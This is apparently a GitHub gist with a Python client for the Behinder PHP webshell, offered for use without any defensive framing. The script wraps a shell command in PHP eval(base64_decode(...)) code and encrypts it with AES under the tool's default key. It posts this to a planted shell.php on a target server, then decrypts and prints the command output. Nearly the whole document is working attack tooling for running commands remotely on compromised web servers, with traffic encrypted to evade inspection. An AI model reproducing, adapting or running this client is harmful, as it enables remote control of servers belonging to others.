Behinder webshell clients

gistfile1.txt

# Behinder Webshell Clients

## php_cmd.py

Minimal client for Behinder PHP webshell (shell.php). Requires Cmd.php from the official client jar.

php_cmd.py

# pip install pycrypto requests
from Crypto.Cipher import AES
import base64
import re
import pathlib
import requests
import json
import sys
import argparse

DEFAULT_KEY = 'e45e329feb5d925ba3f549b17b4b3dde'[0:16]  # md5 of rebeyond

class AesCbc:
    # crypto source (few minor edits): https://gist.github.com/nantsou/dcbddefd8a307dbac49568e036f9357d
    def __init__(self, key=None):
        self.iv = 16*'\x00'
        self.key = key or DEFAULT_KEY
        self.mode = AES.MODE_CBC
        self.size = AES.block_size
        self.pad = lambda s: s + (self.size - len(s) % self.size) * chr(self.size - len(s) % self.size)

    def encrypt(self, content):
        cryptor = AES.new(self.key, self.mode, self.iv)
        encrypted = cryptor.encrypt(self.pad(content))
        return base64.b64encode(encrypted)

    def decrypt(self, content):
        cryptor = AES.new(self.key, self.mode, self.iv)
        content += (len(content) % 4) * '='
        content = base64.urlsafe_b64decode(content)
        decrypted = cryptor.decrypt(content)
        try:
            return re.compile('[\\x00-\\x08\\x0b-\\x0c\\x0e-\\x1f\n\r\t]').sub('', decrypted.decode())
        except Exception:
            raise ValueError("inputted value can not be decrypted.")

def b64str(instr):
    return base64.b64encode(instr.encode()).decode()


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", dest="url", type=str)
    parser.add_argument("-c", "--cmd", dest="cmd", type=str)
    parser.add_argument("-p", "--path", dest="path", type=str, default="/")
    args = parser.parse_args()

    aes = AesCbc()
    cmd_func = pathlib.Path("<path to Cmd.php>").read_text()

    payload = cmd_func + \
    f"""$cmd="{b64str(args.cmd)}";
    $cmd=base64_decode($cmd);
    $path="{b64str(args.path)}";
    $path=base64_decode($path);
    main($cmd,$path);
    """
    payload = b64str(payload)
    payload = f"assert|eval(base64_decode('{payload}'));"
    payload = aes.encrypt(payload).decode()

    r = requests.post(args.url, data=payload)
    out_dict = json.loads(aes.decrypt(r.text)) # keys = msg (output) and status (pass/fail)
    print(base64.b64decode(out_dict["msg"]).decode())